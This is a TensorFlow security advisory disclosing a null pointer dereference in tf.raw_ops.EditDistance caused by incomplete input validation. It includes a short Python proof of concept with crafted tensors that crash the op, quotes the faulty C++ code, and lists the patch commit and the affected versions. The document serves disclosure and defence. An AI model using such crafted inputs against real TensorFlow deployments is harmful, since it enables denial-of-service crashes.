Impact

An attacker can trigger a null pointer dereference in the implementation of tf.raw_ops.EditDistance:

import tensorflow as tf

hypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64)
hypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32)
hypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
truth_indices = tf.constant([], shape=[0, 3], dtype=tf.int64)
truth_values = tf.constant([], shape=[0], dtype=tf.float32)
truth_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)

tf.raw_ops.EditDistance(
    hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values,
    hypothesis_shape=hypothesis_shape, truth_indices=truth_indices,
    truth_values=truth_values, truth_shape=truth_shape, normalize=True)

This is because the implementation has incomplete validation of the input parameters.

In the above scenario, an attacker causes an allocation of an empty tensor for the output:

OP_REQUIRES_OK(ctx, ctx->allocate_output("output", output_shape, &output));
auto output_t = output->flat<float>();
output_t.setZero();

Because output_shape has 0 elements, the result of output->flat<T>() has an empty buffer, so calling setZero would result in a null dereference.

Patches

We have patched the issue in GitHub commit f4c364a5d6880557f6f5b6eb5cee2c407f0186b3.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.